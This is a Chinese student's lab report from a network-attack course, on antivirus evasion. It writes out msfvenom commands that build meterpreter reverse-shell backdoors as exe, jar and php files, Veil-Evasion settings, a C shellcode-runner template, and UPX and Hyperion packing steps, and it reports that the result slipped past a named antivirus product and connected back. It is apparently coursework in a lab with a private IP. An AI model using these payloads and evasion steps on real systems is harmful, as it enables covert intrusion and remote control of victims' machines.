2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践

一、实验内容

任务一正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,利用shellcode编程等免杀工具或技巧

1、使用msf编码器,生成exe文件
  • 使用exp2中生产的后门程序20165334_backdoor.exe利用VirusTotal网站进行扫描检测。
  • 20165334_backdoor.exe利用Virscan网站进行扫描检测。

    -使msf编码器对后门程序进行多次的编码,并检测。
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘\x00’ LHOST=192.168.56.102 LPORT=5334 -f exe > met-lt5334l.exe

  • 用使用virscan进行扫描,结果如下所示

  • msfvenom生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> ltl_backdoor_java.jar

  • 用使用virscan进行扫描,结果如下所示

  • msfvenom生成php文件msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> 20155334_backdoor.php

  • 用使用virscan进行扫描,结果如下所示

2、使用veil-evasion生成后门程序及检测
  • sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get upgrade这两个命令更新一下软件包即可之后用veil打开veil,输入y继续安装直至完成。

    -设置反弹连接IPset LHOST 192.168.56.102(IP是KaliIP)
  • 设置端口set LPORT 5334
  • 输入generate生成文件,接着输入你想要playload的名字:baddoor5334
  • 扫描检测

3、半手工注入Shellcode并执行
  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102LPORT=5334 -f c用c语言生成一段shellcode


-利用上面生成的数组拿来编写一个程序,结构如下

unsigned char buf[] = 
"此处复制粘贴之前用msf生成的buf"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令i686-w64-mingw32-g++ shell5334.c -o shell5334.exe 编译

  • 扫描检测

-x尝试运行结果被360拦截了。

以上尝试可以看出没有处理的后门程序基本上都可以检测出来。
加壳
  • 压缩壳 :减少应用体积,如ASPack,UPX

  • 加密壳: 版权保护,反跟踪。如ASProtect,Armadillo

  • 虚拟机 :通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

1、使用压缩壳(UPX)

还是没能幸免,立刻被杀软截杀

在360中添加信任后测试其可用性。

2、加密壳Hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v xxx.exe yyy.exe进行加壳

反弹连接

检测结果

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳Hyperion达到了免杀的目的。

任务成功截图

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 杀软名称:金山毒霸
  • 电脑版本:win7x64系统
使用方法:半手工注入Shellcode+加壳。

成功截图

金山毒霸扫描结果

实验中遇到的问题

  • 在实验三中,Linux系统ping不通windos7,y通过修改网络连接方式为桥接,修改两ip到通一网段得以解决。

免杀原理及基础问题回答

  • 免杀思路:
    (1)对病毒木马文件通过各种技术进行修改;
    (2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。
  • 基础问题回答
    1)杀软是如何检测出恶意代码的?
  • 杀毒软件(AV)是一个较大规模安全防护策略的重要组成部分,能够减缓恶意软件在互联网上的传播速度,保护用户主机。
  • 特征库举例:首先对已经有过的恶意代码建立特征库,对其特征码进行匹配检测,若匹配成功,则为恶意代码需进行防范。因此有些新型恶意代码则更容易绕过杀软,在被检测出之前,可能有部分用户会被感染,因此需要及时更新恶意代码特征库。
    -启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
  • 基于行为的恶意软件检测:监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。

(2)免杀是做什么?

  • 免杀即“反杀毒技术”,让安插的后门不被AV软件发现。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。

(3)免杀的基本方法有哪些?

修改方法:

  • 直接修改特征码的十六进制法
  • 修改字符串大小写法
  • 等价替换法
  • 指令顺序调换法
  • 通用跳转法
  • 一键加壳法

文件免杀方法:

  • 加冷门壳
  • 加壳改壳
  • 加花指令
  • 改程序入口点
posted @ 2019-03-29 19:38  litianlong  阅读(382)  评论(0编辑  收藏  举报